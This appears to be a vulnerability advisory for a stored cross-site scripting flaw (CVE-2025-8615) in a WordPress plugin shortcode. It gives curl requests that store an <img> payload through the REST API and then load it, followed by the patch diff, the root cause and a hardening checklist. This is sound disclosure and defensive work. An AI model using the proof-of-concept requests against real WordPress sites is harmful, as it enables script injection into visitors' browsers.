The Exploit
A contributor-level WordPress user can store the XSS payload in the cubewp_shortcode_taxonomy shortcode title attribute.
curl -i -X POST 'https://TARGET/wp-json/wp/v2/pages/123' \
-H 'Cookie: wordpress_logged_in_XXXXXXXX=...' \
-H 'Content-Type: application/json' \
-d '{"content":"Welcome! [cubewp_shortcode_taxonomy taxonomy=\"category\" title=\"<img src=x
curl -i 'https://TARGET/?p=123'
The first request saves a page containing the malicious shortcode payload in the post body. The second request loads the page and returns HTML containing the unescaped <img> tag inside the shortcode output, which a browser would execute on page view.
What the Patch Did
Before
$title = isset( $parameters['title'] ) ? $parameters['title'] : '';
...
$output .= '<h2 class="cwp-widget-shortcode-heading">' . $title . '</h2>';
After
$title = isset($parameters['title']) ? sanitize_text_field($parameters['title']) : '';
...
$output .= '<h2 class="cwp-widget-shortcode-heading">' . esc_html($title) . '</h2>';
The patch added WordPress input sanitization with sanitize_text_field() and output escaping with esc_html() for the shortcode title value. This prevents raw user-supplied shortcode attributes from being emitted as active HTML.
Root Cause
This is CWE-79: Stored Cross-Site Scripting. The plugin accepted attacker-controlled shortcode attributes in $parameters['title'], stored them in post content, and later rendered them directly into an HTML heading element without escaping. The trust boundary crossed unchecked is the HTML document context created by '<h2 ...>' . $title . '</h2>'; user input reached the browser as active markup.
Why It Works
The load-bearing fix is sanitize_text_field($parameters['title']). That line converts arbitrary shortcode input into plain text before the plugin ever assembles the output. esc_html($title) is the second layer, ensuring even if the title value changes later or comes from another source, it cannot be interpreted as HTML. If only one line were added, sanitize_text_field() would still neutralize script-bearing tags, while esc_html() would still escape them at render time; both together provide defense-in-depth.
Hardening Checklist
- Use
sanitize_text_field()for shortcode text attributes before storing or rendering them. - Escape HTML output with
esc_html(),esc_attr(), oresc_url()depending on the context. - For inline CSS values, use
sanitize_hex_color()before embedding intostyleattributes. - For URLs, use
esc_url()instead ofesc_attr()when outputtingsrcorhref. - Validate shortcode parameters with
shortcode_atts()and reject or normalize unexpected values.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-8615